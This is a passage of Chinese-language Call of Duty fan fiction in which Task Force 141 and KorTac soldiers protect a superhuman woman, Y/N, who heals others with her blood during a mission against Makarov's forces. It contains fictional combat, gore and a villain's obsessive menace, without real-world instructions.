Konig整个人像被电击般弹起来冲到她面前,“Y/N!你…..你..怎么样..?!你…觉得还…还好吗….!”
他的声音卡在喉咙里打结,双手在半空中划出慌乱的弧线,最终只敢用指尖碰了碰她的袖口。
Keegan一整夜都保持着握枪的姿态,直到此刻,那绷紧的手掌才像解开的绳索般松弛下来。他始终守在她身旁寸步不离,他连呼吸都放得很轻。
Y/N这个名字还是从Konig破碎的哭喊里捡来的,那件属于他的连帽衫,依然裹在她身上。
他倾身向前扶住她的肩膀,手掌力道控制得恰到好处,既不会弄疼她,又足够支撑,谨慎得像在接近一枚未爆弹。
没有贸然掀开她那被血浸透的衣物,只是轻翻眼皮,快速检查了瞳孔反应和基本知觉。当确认一切正常后,那口憋在胸口许久的气终于吐出。
Y/N望着眼前的两人,嘴角扯出一个弧度,“我说过我不会死的。”
她皱了皱鼻子,是热可可的香气把她从混沌中拽了出来。循着甜腻的味道,她踉跄地走向篝火旁那个骷髅脸身旁。
Ghost连头都没抬,而她,直挺挺地杵在男人面前伸出手。
面罩下传来一声冷哼,“怎么?你是什么衣来伸手饭来张口的Princess(公主)吗?Your Highness?(亲爱的殿下)”
Soap忍不住偷笑,他和Ghost并肩作战太多次了,光是听这语气就知道老搭档此刻心情其实不错。
“还有,”Ghost突然话锋一转,手里的杯重重搁在木箱上,“以你的本事,能被那群杂碎捆住?”
Y/N困惑地望向那双深不见底的瞳孔,“你们不就是这么把我带回114的吗?”
Ghost终于正眼看向她,他刻意拖长的语调,骷髅面罩在火光中投下阴影,“我们可从来没给你上过绑绳,Dear little princess(亲爱的小公主),并且,记住这个数字,是141。”
Soap敏锐地察觉到Ghost周身的气压又骤然降低,这家伙怎么回事,简直比战场上的IED(简易□□)还不稳定。
他在一旁识相地转移话题,“Y/N你感觉如何?那些伤,都愈合了?”
Y/N二话不说直接撩起染血的衣摆,露出已经结痂的伤口,她戳了戳原本该是致命伤的位置,现只留下几道浅淡的粉色痕迹。“应该算好了?”
“…..啊…”Konig死死捂住眼睛,整个人像触电般180度急转。
尽管初次见面时她浑身赤裸,昨晚抢救时也早就看遍了每一寸伤口。但此刻Y/N这个随意的动作,却让他受到极大的刺激,浑身发烫。
Ghost猛地一把拽下她掀起的衣角,力道大得差点把整件连帽衫扯破。
“你!”他咬牙切齿地低吼,将手中冒着热气的杯子粗暴地塞进她手里,“给我老老实实坐那边去!”
Y/N捧着杯子心满意足地晃到Keegan身旁,她小口吹着杯中升腾的热气,突然凑近身旁的男人低语,“衣服弄坏了,下次我带你去别的地方玩。” 热气在她睫毛上凝成细小的水珠。
Keegan嘴角微不可察地在面罩下扬起,这女孩居然在用她自己的方式道歉。
“衣服没关系。”他压低声音,“但在人前别随便掀衣服,明白么?”
“为什么?”她专注地盯着杯子,舌尖试探性地碰了碰滚烫的液体。
Konig同手同脚地蹲到旁边,像个生锈的机器人般僵硬地背过身,粗麻布被他揪得变了形。
“因,因为...你是女孩子,Y/N...女,女生不能...”他的声音越来越小,最后几乎变成了气音。
“他说的对。”Keegan往热可可里掺了点凉水,“喝吧,不烫了。”
顿了顿,扫过她身上被血污浸染得发硬的连帽衫,“待会给你换件新的。”
Y/N揪起衣角,布料在她指间发出脆响,“可是你这件我还挺喜欢的。”
Keegan的视线停留在她指尖,喉结微动,“好,给你找件一样的。”
Ghost在不远处把匕首插进桌面,震颤的嗡鸣像是某种警告。阴影里骷髅面的轮廓转向这边,虽然没人看得见他的表情。
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码头的屠宰场
Krueger正从尸堆里支起身子,腐烂的血肉黏在他身上发出撕拉声。他记不清自己什么时候昏睡过去的。
“Mein kleines Monster” (我的小怪物)他低喃着,指腹摩挲着匕首锋刃。那种程度的伤,换作是他恐怕也撑不过去。
但那只小猫,那只比他还要疯的Blutige Mieze (血小咪),怎么可能轻易死掉?
皮革面罩下咧开一个笑,Krueger开始盘算,要是小猫真的死了,就把她做成最完美的标本。放在刚果矿洞最深处的那个密室,和他收藏的其他“珍宝”摆在一起。
哦,不,普通的密室怎么配得上他的小猫?得用防弹玻璃做成三米高的柱体,灌满特制的防腐液。
他要往里掺金粉,这样,当矿洞里的探照灯扫过时,小猫漂浮的发丝,会像他当年,在迪拜炸毁的输油管道那样,折射出碎钻般的光泽。
男人神经质地啃咬匕首柄想着,他还得连接脑电波监测仪,虽然知道不可能,但万一哪天小猫的睫毛突然颤动呢?
想到这Krueger突然暴怒地踢飞脚边头颅。
Y/N懒洋洋地倚在Konig身侧,手里捧着的,已经是第三杯热可可了,桌上不知何时出现了一大桶可可粉。
她整个人陷在Konig宽厚的战术装备上,像只窝在熊洞里的雪貂。
Konig的粗布料发出细微的摩擦声,这是他第数次偷瞄她后又慌忙别开视线。
当Y/N突然将那杯热可可推进他面罩下方时,这个两米高的小熊瞬间僵住。
他就着这个别扭的姿势低头,温热液体刚触到舌尖,那双蓝眼睛就瞪得滚圆,简直和当初Y/N第一次尝到热可可时的反应如出一辙。
“都给你,小熊。”Y/N笑着用杯轻磕他胸口,Konig手忙脚乱接住杯子的模样,活像被塞了颗拉开保险栓的手雷。
Konig的瞳孔剧烈震颤,温热的甜香,怎么会有如此美妙的东西?他忽然理解了,为什么Y/N在奄奄一息时,仍念着要喝到这个。
喉结滚动着咽下第二口,甜腻的暖流顺着食道滑进胃袋,如果死亡近在咫尺,他大概也会像Y/N一样,任性地要求,再尝一口这滚烫的甜蜜吧。
多可笑啊,他这样的怪物,此刻却想为一杯热饮而眼眶发热。konig突然被呛到咳嗽,慌乱中打翻了杯子,棕色液体在战术裤上洇开一片深色痕迹。
而他只是呆坐着,手掌摩挲着杯沿残留的甜渍,仿佛那是什么需要珍藏的圣物。
“没事,多着呢,我再泡!”
Y/N的手刚碰到可可粉罐子,骷髅指手套的大掌就重重按在了罐口。
“我跑了十公里背回来的补给,不是给你开下午茶会的,公主殿下。”
Konig条件反射地绷紧身子,却看见Y/N满不在乎地戳了戳Ghost的手背,“可小熊才喝了一口,而且,你们说过,全天侯供应。”
Ghost的动作凝固,面罩下的呼吸声明显顿了一拍。他沉默地松开手掌,在罐身上留下几道凹痕。
Soap突然探出头,“Bloody hell!原来那会儿你消失是去….”话没说完,Ghost一个眼刀甩过去,让他硬生生把后半句咽了回去。
没人再去打扰那对缩在角落的“甜食怪盗二人组”,Konig像只护食的大棕熊,用自己宽厚的身子将Y/N和那杯热可可严严实实裹住。
Y/N时不时地,把杯子伸进Konig的粗麻布里,每次他都会身子一僵,却还是乖乖张嘴,活像只被驯服的野兽。
“我…我还….还想要....”Konig的声音闷在布料里,笨拙地学着Y/N的样子舔嘴角。
他们分享的不只是一杯热饮,更像是两个从未尝过甜味的灵魂,终于找到了属于自己的蜜糖罐。
远处传来Soap的吐槽,“Christ!他俩简直像在喝什么违禁药品...”
化学家死死盯着他们,镜片后的眼睛闪烁着病态的光。
Price沙哑的嗓音从Ghost开着的通讯器中传出,混杂着电流的杂音。
“情报确认了,与维克多接头的就是马卡洛夫那个老狐狸。”他的声音突然变得凝重,“Ghost,那个化学家比我们预想的还要关键。”
Soap转头看向缩在角落的化学家,“这书呆子能把太空垃圾变成杀人雾,马卡洛夫要卫星部件,是想在天上放毒气烟花?”
通讯器里传来Price猛吸雪茄的声音,“听着,这次141特遣队,KorTac和幽灵小队必须协同作战,这件事不一般。”
他的语气不容置疑,“务必把化学家安全带回来,还有Y/N。”最后那个名字被咬得很重,仿佛在提醒什么。
11. 自娱自乐
Ghost早在出去找补剂时就已将这片废弃工业区,每一寸钢筋水泥都刻进了脑海。
从A栋破裂的通风管道到C区生锈的消防梯,甚至连地下排水渠里老鼠的巢穴位置都记得一清二楚。
Ghost最后检查了一遍消音枪,“听好了。书呆子跟着Soap。 ”
他把枪口指向对方,“你要是把他弄丢了,我就把你塞进火箭炮里发射出去。”
Soap撇撇嘴,“为什么要我带着他啊?”却利落地给化学家套上防弹背心,动作粗鲁得像在打包易碎品。
Keegan已经无声地滑向制高点,狙击枪在月光下泛着幽蓝的光。
“明白,我会在B区设伏。”他的声音从耳机里传来,“等他们进包围圈,让Konig,”
“我,我知道!”Konig突然兴奋起来,差点撞翻身后的弹药箱。
他笨拙地调整着夜视镜,举着冲锋枪,像个第一次参加实战的新兵般激动,“等敌人进入Kee……keegan的死亡区域后.…我,我会用突击枪吸引所有活靶子!”
骷髅面罩转向正在玩热可可拉花的Y/N。
“你,”他一把拎起她的后领,“跟我去A栋。”
“我一个人就可以把他们都杀了”Y/N眨眨眼,突然把沾满可可的指尖蹭在他面罩上。
Ghost的动作凝固了,整个安全屋瞬间安静得能听见Soap憋笑憋到内伤的声音。
“现在。立刻。出发。”他一字一顿地说,面罩上还挂着那坨可可渍,像某种荒谬的战争彩绘。
Y/N跟在Ghost身后穿过A区的废墟,她不解望着Ghost的背影。明明只要放她出去,十分钟内就能让整个敌营变成停尸房,多省事啊。
女人突然开口,声音轻快得像在讨论天气,“你们等着就行,我帮你把他们全解决掉。”
她踢开脚边的碎石,耸了耸肩,就当那罐热可可的谢礼。更何况,她挺喜欢这几个人。
Ghost当然相信她能办到,所有人都见识过她浑身是血窟窿,还能徒手贯穿敌方防线。
但他们不是马卡洛夫或某些PMC的极端分子。那些疯子会把Y/N这样的人当成完美的杀戮机器,用各种方法把她逼成怪物,就像他们曾经对其他实验品做的那样。
Ghost突然伸手掐住Y/N的后颈,力道控制在刚好让她皱眉的程度,“听着,Gremlin(捣乱的小妖怪)我们不是废物。”
其实所有人都清楚,如果真要比杀戮效率,整个141加起来或许都抵不过她一半疯劲。
他的声音突然低到只有她能听见,半指手套下的拇指,用力蹭过她眉心,“Stay frosty right now,wee madam(请您现在务必乖乖的,大小姐)
“我要的是完美任务,不是你的即兴屠杀秀。”
他从兜里摸出个小保温瓶递给她,“所以,按、计、划、来。”
远处突然传来引擎的轰鸣,Ghost瞬间将她拽进掩体。他的胸膛紧贴着她的后背,心跳平稳得令人发指。
而Y/N能感觉到,他另一只手上那把匕首已经出鞘,正抵在她的腰侧,明明白白告诉她别想擅自冲出去大闹一场。
她抱着装满热可可的保温瓶,突然侧过头,柔软的唇瓣几乎贴上他藏在面罩下的耳廓,“知道了。”
三个字像猎鹰利爪收进绒羽,声音轻得只有他能听见。抵在腰间的匕首明显颤了一瞬,下一秒,利刃归鞘,快得像是要掩饰什么。
Ghost的呼吸频率依旧平稳,但他自己能听到战术背心上的金属扣,发出了不自然的轻响,那是他手指无意识收紧的证明。
“两车武装人员开始巡逻,准备接敌。”Ghost的电子音在通讯器中压得极低,频道里陆续传来回应
“收到。”
“OK”
“呃...嗯!明白!我会….”
敌方装备的优势在夜视镜里一览无余。无人机群像发光的黄蜂在廊柱间穿梭,枪械的激光瞄准线织成死亡网格。
B区突然爆发的突击步枪轰鸣震碎寂静,Konig开火的节奏就如他结巴的声线,断续却致命。
Ghost像阴影般从混凝土残垣后闪出,消音手枪两次轻咳,瞬间秒掉落在队尾的两名敌人。
他没有回头确认,身后传来的脚步声轻如猫科动物狩猎时的肉垫触地,但移动速度却快得能在墙面留下残影。
Y/N就像陪他身边的猎鹰般,永远保持在最佳狩猎距离,利爪始终在出鞘状态。
“Y/N,清掉车上的人。”Ghost的指令刚落,那道纤细的身影已经如离弦之箭般掠出。
她轻盈跃上车顶,防弹车身在重压下发出不堪重负的呻吟。车内敌人显然没料到这种进攻方式,还没等调转枪口,Y/N已经像捕食的猛禽般二次腾空,俯冲时一个旋身,军靴狠狠踏碎了车顶观察窗。
不到十秒,她又悄无声息地落回Ghost身侧,“接下来呢?”
她仰起脸,眼睛在夜里闪着异常的兴奋,仿佛这不是生死战场,而是什么有趣的捉迷藏游戏。
“Y/N过来了,掩护她。”Ghost对着通讯器说完,骷髅面罩转向她,“别受伤。”
“嗯嗯!”她点头如捣蒜,转眼间已经弹射出去,在废墟间腾挪跳跃的身影宛如山间灵兽。
Ghost的消音手枪在她身后点射,每一发子弹都精准击毙试图瞄准她的敌人。
中路传来Konig标志性的扫射节奏,那挺轻机枪的轰鸣声中,隐约能听见他不知是亢奋,还是紧张到破音的碎碎念。“掩护!掩护!我,我来!哈!”
而高处的Keegan始终沉默,狙击镜的十字线如影随形地,罩在Y/N周围十米内的每一个阴影里。
Soap正拽着化学家缩在墙角阴影里,耳机里突然传来Y/N即将汇合的消息。他刚松了半口气,头顶就炸开螺旋桨的轰鸣。
“Bloody hell!”他一把揪住化学家的领子往后门拖,对方的衣服在粗糙地面上磨出刺啦声。
马卡洛夫这个疯子,居然直接派了直升机敢死队!那些从舱门跃下的黑影全副武装到牙齿,夜视镜、热成像、重型防弹衣。
而他们这边连个像样的榴弹发射器都没有。
“Soap,立即撤退,不要正面回击。”Ghost的声音在耳机中异常清晰。
“Got it!”他踹开应急通道的瞬间,瞥见三个黑影已经降落在天台边缘。
就在Soap拽着化学家往掩体狂奔的瞬间,Y/N突然窜出,轻盈地落在他身侧,发丝都没乱一根。
“能借我个打人的玩具吗?”她的语气天真得像在讨要糖果。
Soap还没从震惊中回神,Ghost的指令已经透过耳机砸来,“给她一把枪。”
他立刻单手按住化学家发抖的脑袋,另一只手闪电般抽出自己的备用配枪。他拇指一顶保险,枪身在掌心转出炫目的银花,“对准目标。”
“砰!”子弹擦着最近那名敌人的头盔掠过,“然后扣这里。”
Y/N接过枪的瞬间就消失了,她脚尖在墙面上轻点两下,整个人像被绳索牵引般腾空而起,Soap发誓那绝对是中国轻功!
AB区的枪声刚刚停歇,几人便迅速向C区移动。黑暗中,他们的脚步声被废墟间的风声完全掩盖。
然而还没等他们靠近,C区方向便传来一阵诡异的枪响。
砰!
是从左侧的废弃岗亭传来的。
两秒后。
砰!
又变成了右侧的通风道。
那把手枪的声音如同鬼魅般在整片区域游走,忽远忽近,完全无法预测下一声会从哪个方向炸响。
Ghost的骷髅面罩下溢出一声笑,里带着几分无奈的兴味,“回头得给那小疯子也配个耳机了。”
突然,一声震耳欲聋的爆炸轰然响起,冲击波掀起漫天尘土。Soap被呛得剧烈咳嗽,骂骂咧咧地拽着化学家的衣领,“靠!他们是不管你死活吗!博士!”
几个黑影从硝烟中鬼魅般窜出,瞬间将Soap和化学家团团围住。
战术手电的强光刺得人睁不开眼,枪械上膛声此起彼伏。
与此同时,Krueger正蹲在屠宰场的血泊中,突然竖起耳朵。远处传来枪声节奏,那边那么热
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闹,也许是他的小猫还活着呢。
他随手踢开脚边尸体的武器,这些马卡洛夫养的猪猡,他们的配枪可不值得他拿起。
Krueger慢条斯理地解开左臂血槽的暗格,指尖虔诚地抚过他的Blutmunze(血币)。这把M13B上每一道纹路都浸透着他的血誓。
“该干活了,老朋友。”
Krueger的舌尖缓慢滑过战术手套的指缝,将未干的血迹卷入口中。铁锈味在口腔蔓延的瞬间,他的瞳孔兴奋地收缩,这是独属于他的血腥圣餐。
他绑紧四肢的武装带,浸透凝血剂的纤维在月光下泛着紫光。这些特制绑带里还渗着浓缩辣椒素。
痛觉神经被灼烧的快感让他浑身战栗。
“这才对......”他陶醉地深吸一口气,任由剧痛在神经末梢炸开烟花。
普通人会恐惧疼痛,但对他,疼痛是永不背叛的情人,是证明自己仍活着的圣痕。
M13B因他的兴奋在掌心震颤,他忽然低笑起来,面罩下的呼吸变得粗重。
说不定哪天,小猫也会这样在他掌心颤抖。被他掐着后颈按在染血的圣坛上哭。
当他跨过屠宰场门槛时,Krueger极其诡异的,温柔的亲吻了枪管,如同在亲吻自己想象中,将来被他折断爪牙的Y/N。
“全员汇报。”Ghost的声音在爆炸余波中格外清晰。
Keegan的狙击镜扫过C区废墟,“敌方重装部队,C区已沦陷。”枪托抵肩的闷响透过通讯器传来,“Soap和包裹存活。Y/N未确认”
Konig的机枪在两个守卫兵残骸旁咆哮,弹壳暴雨般砸在地上,“没……没见到!没见到Y/N!她….她去哪了?我….我这里没有她!”
砰!
Krueger突然出现,头也不回地抬手一枪,暗处倒下的敌人甚至没来得及惨叫。
“嘿!Der Winsler(哭包)”他甩了甩枪管冒出的青烟,“小猫呢?”
“我……我才不是!”Konig的粗麻布都要气歪了,“D-Du... r-rostiges Messer!(你这把生锈的废铁!)”弹链被他拽得哗啦作响。
Krueger已经大步走向浓烟深处,武装带上叮当作响。
“Ver……Verdammte psychopatische Axt”(该死的神经病斧头)Konig边骂着边小跑跟上,恨不得现在就用枪突突了他。
爆炸掀起的巨大墙梁轰然倒塌,Y/N虽然反应极快,但范围实在太大,整片混凝土墙直接将她压在了底下。
她被埋在离Soap不远的地方,厚重的墙体死死压住她全部身子。虽然没有昨天受的伤那么疼,但身上还是传来阵阵钝痛。
她眨了眨眼,感觉眼眶又开始发热了。那个骷髅脸真该给她配个说话的玩意,现在谁都不知道她被埋在这儿。
身旁传来零星的枪响,脚步声在附近来回移动。但这次她学乖了,不再轻易出声,谁知道外面的是谁?
她像块石头一样安静地趴在废墟下,时间仿佛被拉得无限长。视线逐渐适应黑暗后,她看到身下蔓延开的血迹,分不清是自己的还是别人的。
又有脚步声靠近,这次更轻,更谨慎。Y/N让自己彻底融入这片废墟,仿佛真的只是一块毫无生机的碎石。
Ghost赶到时,硝烟还未散尽。
Soap仰面倒在血泊中,眉心一个漆黑的弹孔格外刺目,那双总是闪着戏谑的眼凝固在了惊愕的瞬间。化学家的踪迹全无,Y/N也不知去向。
Ghost沉默地站在尸体前,骷髅面具下的呼吸声沉重而缓慢。他屈膝蹲下取下手套,拂过Soap还带着余温的脸颊,拭去那抹飞溅的血迹。
“睡吧,兄弟。”他的音色罕见地失去了平日的冷硬,像是信号不良般微微发颤。
男人结实的手臂穿过Soap的膝弯,将他托在肩头。Soap垂落的手随之晃动,袖口露出的腕表还在滴答走着。
仿佛下一秒这个苏格兰人就会突然醒来,笑嘻嘻地说“Just a prank,mate!”(只是个恶作剧,老兄!)
12. 自娱自乐
“任务失败。”
Ghost的声音透过电子合成器传来,冰冷得像是机械播报。
Keegan从狙击点无声地滑下,像一道影子落在Ghost身后。他看见那个永远挺直脊背的男人此刻佝偻着肩,Soap的尸体软绵绵地挂在他身上。
Keegan没有开口,他太了解这种时刻。
对于他们这样的老兵而言,失去战友从来不只是任务报告上的一个失败标记。
那是一个永远无法填补的弹孔,是每次扣动扳机时都会在耳边响起的回音,是往后每一个需要掩护的瞬间,身后再也不会传来的熟悉呼吸。
Ghost调整了一下肩上沉甸甸的重量,Soap垂落的手擦过他的骷髅面罩,发出轻微的刮擦声。
Keegan看见Ghost的指节在Soap的战术背带上收紧。
konig和Krueger在炸弹废墟处寻找Y/N的身影,脚下是一片被砸毁的墙体残片。
“V-Verdammt!她…她….在哪去了!是不是被,被那群人带走了!”
“小熊?”
“呃?Y/N!你….你在哪!?我….我马上来…不是..我已经来了…我们来救….”
“我在你脚下。”
“Fick deine Mutter! Verschwinde, Fleisch! Du zertrittst ihr die Eingeweide!”(操!滚开,肉块!你会踩烂她!)
Krueger一脚踹开konig,而konig也没想到刚刚他竟然站在Y/N身上,天啊!
“V-Verdammt! E-Entschuldigung!)该,该死的!对-对不起!)我马上来!坚-坚持住!”
Ghost和Keegan同时听到了楼上的异动。Ghost的手指不受控制地轻颤,他低头看了眼肩上扛着的Soap,说不定她能有办法,是的,她或许有办法。
Keegan刚抬起脚,就看见Krueger抱着浑身是血的Y/N从废墟中走出。
她蜷缩在Krueger怀里,眼泪混着血水往下淌,却倔强地指着Ghost说,“下次也给我个耳朵。”
她突然从Krueger臂弯里探出身子,歪头看向Ghost肩上的人。踉跄着跳下来,绕到Ghost身后,踮起脚尖想看个究竟。
“他怎么了?”
Krueger在一旁夸张地摊手,“小野猫,这还看不出来吗?他死了,死得透透的。这可不是你亲一口就能治好的伤啊。”
Keegan和Konig完全不明白Krueger在暗示什么。
“闭嘴,与你无关。”但Keegan的眼神已经冷了下来,他向来厌恶这些毫无纪律的雇佣兵。
在他眼里,Krueger这样的疯子根本配不上“士兵”的称号,不过是条被解开锁链的疯狗。
Krueger却像是听到了什么绝妙的笑话,向前一步,几乎贴到Keegan鼻尖,他手中的枪管顶上了Keegan的下巴。
“Ha!The obedient hound who licks boots~(舔军靴的乖狗)”他的德语口音甜得发腻,枪口恶意地蹭着对方的下颌。
“你哪来的资格叫我闭嘴?”每个单词都浸满愉悦的颤音。
Keegan垂眸看他,灰蓝色的眼睛里连怒火都欠奉,那眼神就像在看靴底沾上的尘埃。
他直接抬手握住滚烫的枪管,手指与金属接触时发出“嗤”的灼烧声,却连眉头都没皱一下。
Konig看到这一幕,像只发现新鲜事物的好奇棕熊,整个高大的身躯左右晃动。那双藏在夜视镜后的眼睛一眨不眨地盯着两人。
Keegan握住滚烫枪管的动作,让他粗麻布下的呼吸都加重了。Konig从未见过有人能这样对待Krueger的挑衅,就像对待一个不懂事的孩子。
他站在一旁,激动极了,战术手套一会儿挠挠自己面罩边缘的接缝处,一会儿又无意识地拽了拽武装带上的弹链。
Y/N沉默了片刻,踮起脚尖凑到Ghost的骷髅面旁,“带上他,跟我来。”
她转头看向剩下的三人,歪着头问,“你们要等吗?”
Konig如梦初醒般猛地点头,“等!当然等!我们...我们就守在这...”
Krueger还在用德语低声咒骂着什么,Keegan直接把他当空气。
说实在的,Y/N至今都还不知道他的名字,她突然伸手拽了拽Krueger的武装带,“你叫什么?”
这一下,直接给这男人整笑了,声音里带着扭曲的愉悦。
“Schei?e!(该死) meine kleine Raubkatze,(我的小野猫)这可真让我伤心啊。记好了,我的名字叫Krueger,来,跟我念一遍。”
他突然俯身凑近,每个音节都像在咀嚼血肉般缓慢吐出。
“嗯,记住了。”Y/N点点头,目光扫过Keegan的眼睛,让她想起冬天时冰封的湖面,但死寂的冰层下却暗涌着无数生命。
“Krueger,别欺负他们。”
Keegan的眉头几不可察地跳了一下,他看着她,面罩下的呼吸声变得异常清晰。Y/N说完便拽住Ghost的手,拖着这个沉默的巨人往废墟深处走去。
Krueger站在原地叉腰,胸腔里滚出两声沙哑的笑,这小猫居然当着他的面护短?
但他现在并不在意,因为更让他兴奋的是,当她的舌尖卷出那个德语发音时,他后颈的汗毛都竖了起来,比被子弹擦过还要战栗。
Y/N牵着Ghost的手,像领着迷路的孩子在废墟中穿行。Ghost跟在她身后,看着她满是灰尘与血迹的背影。
“把他放在这里。”她指着块相对平整的水泥板。Ghost单膝跪地,动作很轻将Soap小心放下。
Y/N突然凑近,沾血的脸近乎贴上了那张骷髅面罩,她静静看着他那双深色的眼。
就在他想要开口询问时,她猛地咬破自己的手腕,鲜血顿时涌出。Ghost看着那滴血珠坠入Soap苍白的唇间,她随后俯身亲吻了那个本应致命的弹孔。
“Ghost,”她抬头时嘴角还沾着血,“你要再给我一罐热可可才行。”
话音刚落,Soap的尸体突然抽搐了一下。男人猛地坐起,本能地摸向自己完好无损的眉心,“This is fookin'' wrong!(这他妈不对劲!)”
他瞪大眼睛看着浑身是血的Y/N,又转向死死盯着女人的Ghost。
“Y/N!”Soap突然蹦起来,激动得连苏格兰口音都变调了,“从今天起你就是我的仙女教母!”
Soap一把将Y/N高高抱起,兴奋地转着圈晃荡,像在庆祝什么节日般欢快。
但Ghost瞬间捕捉到异常,她纤细的手臂无力地垂落,整个人如同断了线的木偶。
“停下。”Ghost的声音像刀劈开空气。他一把按住Soap的肩膀,力道大得让他踉跄。
当Soap低头看清怀里的景象时,笑容瞬间凝固。Y/N闭着眼,呼吸微弱得几乎消失,唇边还挂着那抹完成仪式后的血痕。
她安静得像个布娃娃,与方才施展奇迹的模样判若两人。Ghost已经脱下战术外套裹住她,贴到她鼻尖检测呼吸。
当Y/N缓缓睁开眼睛时,视线逐渐聚焦在低矮的石质天花板上。昏黄的灯在墙角挂着,身下的军用折叠床发出细微的金属摩擦声。
墙外传来激烈的争吵,声波透过厚重的石壁变得模糊。
“听着,141的看门狗,”Krueger黏腻的嗓音里像浸着毒液,“她要是死了,我就用你们的尸油给我的枪做保养。”
“她...她不会有事!”Konig的声音突然拔高,“闭,闭嘴!你这张乌鸦嘴!你这个...你这个...”词汇量匮乏的熊崽卡壳了,只能把枪械握得咯吱作响。
Y/N撑着身子坐起来,目光扫过空荡荡的石室。墙外的争吵声不知何时停了,只剩下压抑的寂静。
角落里,Keegan正沉默地擦拭着他的狙击枪,部件在他手中泛着冷光。他没有参与那场争执,这个冷静的观察者始终相信,Y/N这样的存在,不会轻易被死亡带走。
他想起西伯利亚雪原上的极光,就像她一样,明明燃烧着自己,却总被误认为是上天的馈赠。
门外,Soap靠墙蹲着,烟头在指间明明灭灭。他盯着地面出神,烟雾缭绕中,那张总是带着戏谑的脸罕见地凝重。如果Y/N真的因为救他而死,这份债,他这辈子或许都还不清。
而在隔壁的房间里,Ghost独自坐在椅子上。他指间的香烟已经燃到滤嘴,脚边的铁桶里堆满了烟蒂,没人数的清这是第几根。
门轴突然发出细微的声响。Ghost抬头,正对上Y/N惺忪的睡眼。他愣了半秒,扣上面罩,随即将她拉回房间反手关上门,高大的身影笼罩在她面前。
这个女人一次又一次超出了他的认知,她的血,竟然能让死者复生。那天她静静注视他的眼神浮现在脑海,那双眼像动物般的凝视,像在确定他是否值得被信任。
Ghost单膝跪地,视线落在她手腕上。那道狰狞的咬痕依然清晰可见,丝毫没有愈合的迹象。
他的眉头越皱越紧,“这里为什么没有恢复?”
Y/N沉默地垂下眼帘,指尖抚过手腕上未愈合的咬痕。Ghost的疑问悬在空气中,她却任由它坠落,秘密被埋葬,就像那些被她刻意遗忘的往事。
她脑海里忽然浮现,自己曾跪坐在月光下的祭坛边,将手腕递到某个模糊人影的唇边,她记得鲜血滴进陶瓮时激起的涟漪。
那些受她恩惠的人类最后究竟如何,早已模糊不清。但只要她试图回想,身体就会泛起一阵尖锐的刺痛。
仿佛有无数獠牙正撕扯她的内脏,像狼群分食猎物般啃噬着她,又似荆棘从骨髓深处破土而出。
这种痛楚比任何伤口都来得清晰,是身体在警告她,那些被遗忘的结局,最好永远不要记起。
最终只剩下零星的画面,粗壮的树根破土而出,如同巨蟒般缠绕住她失去知觉的身体,泥土的气息灌进鼻腔。
不知过了多久,她在黑暗的树洞中醒来。指尖触到一截枯枝,静静躺在她的掌心。
Ghost的呼吸停滞了。他见过无数双眼睛,在审讯室里崩溃的囚犯,战场上垂死的敌人,甚至那些实验室诞生的畸形生物。
但没有一双眼睛像此刻的Y/N。
平常她总是带着那种天真到近乎残忍的神情,世界在她看来似乎只是场荒诞的游戏。可此刻,那神情中翻涌的是他未曾见过的东西。
像是千年冰川下封存的星光,又似被无数文明践踏过的土壤里,突然开出一朵带血的花。
那种人性太过古老,混杂着连他都无法解读的悲悯,湮灭,恐惧,以及某种近乎神性的孤独。
Ghost的手掌不受控地抬起,粗糙的指节托起她的脸颊。他的声音低沉得像是从胸腔深处震动出来的,带着连自己都陌生的柔和的,“怎么了?”
可Y/N的瞳孔依然涣散,仿佛被困在某个遥远的时空里,对现世的触碰毫无反应。
“Verdammt!她要是还没醒,我就把她带走!”Krueger猛地踹开门,金属门框砸在石墙上发出巨响,正巧撞见Ghost指尖触碰她的瞬间。
“Ah,我的小猫醒了?”他一把拍开Ghost的手。
走廊传来凌乱的脚步声,Konig几乎是跌进来的,Soap挤进门时还撞到了门框,脏话脱口而出。Keegan则沉默地靠在门边,目光在确认Y/N无恙后,微不可察地松了口气。
狭小的房间里,高大的身影几乎填满了所有空间。他们沉默地注视着Y/N。
她纤瘦的身体此刻仿佛成了某种容器,无数陌生的灵魂碎片正从眼底翻涌而出。
Keegan的指节在手套下绷出弧度,像是要把空气捏碎。他见过很多死亡,那些凝固的瞳孔,折断的颈骨,炸开的腹腔,都成了烙印在视网膜上的标本。
但Y/N此刻却像被“奥丁之眼”凝视着,那种能洞穿一切的沉重痛苦,不该压在这个连骨骼都透着青草香的躯体上。
Ghost转身离开房间,军靴在地上碾出压抑的沉重。他独自穿过幽暗的走廊,直到安全屋最外围的警戒区。
Soap快步跟上,“她到底怎么回事?”他压低声音,指尖抚上自己曾中弹的眉心,“突然就像被什么附体了一样。”
“不知道。”Ghost停下脚步,面罩下的呼吸都变得冰冷。
但他心里再清楚不过。她的血能逆转死亡,却无法愈合自己留下的伤口。或许,每一滴馈赠的生命,都是用她的痛苦和记忆换来的。
这个等式在他脑中炸开时,连久经沙场的神经都为之震颤。
Ghost整个人笼罩在阴郁的气场中,就像暴风雨前低压的乌云。他突然明白,为什么全球的情报网都在疯传同一个悬赏。
治愈能力?那恐怕只是她最表层的秘密。
Konig发现他的“蓝发仙子”此刻像具被抽走灵魂的木偶,这种僵硬的姿态他太熟悉了。像极了那些被关在白墙室里的孩子们,那些最终变成行尸走肉的小白鼠。
他庞大的身躯突然矮了半截,像座坍塌的塔楼般跪在她面前。手悬在她旁颤抖,却不敢真的触碰。
“Y/N
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….你…有谁欺负你了吗?不….不…你不要…不要怕..”
“sie werden sterben... ich schw?re es... ich werde sie alle t?ten... j-ja... jedes einzelne... jedes verdammte Stück...”(他们…会死的……我发誓……我会杀光他们……对…每一个…每一个该死的……)
但Y/N依然毫无反应。她的意识正在体内翻找着,那些记忆碎片像沉在深海里的玻璃瓶,有些装着陌生的笑脸,有些浸着红色的液体。
最可怕的是那些完全空着的,仿佛在等待被新的噩梦填满。
Krueger反常地沉默着,匕首在指间神经质地翻转。他以为自己会亢奋到战栗,毕竟幻想过太多次把这只野猫逼到绝境的模样,连梦里,都是枪管在她的睫毛上蹭出的痕迹。
可此刻他凑得这么近,近到能数清她瞳孔里碎裂的光斑,却发现她的痛苦是透明的。不是猎物濒死的痉挛,不是弱者屈服的呜咽,只是某种纯净的煎熬和挣扎。
他突然狠狠将匕首插进地板,飞溅的木屑擦过Y/N的脸颊,留下一道血痕。
“Schei?e!”更该死的是,当他掐着她下巴检查那道木屑划痕时,这滴血尝到喉咙里泛起的铁锈味竟不是甜的。
Krueger从腰带的内侧里抽出一支针剂,他动作快得近乎粗暴,掐住Y/N的手臂就扎了进去。
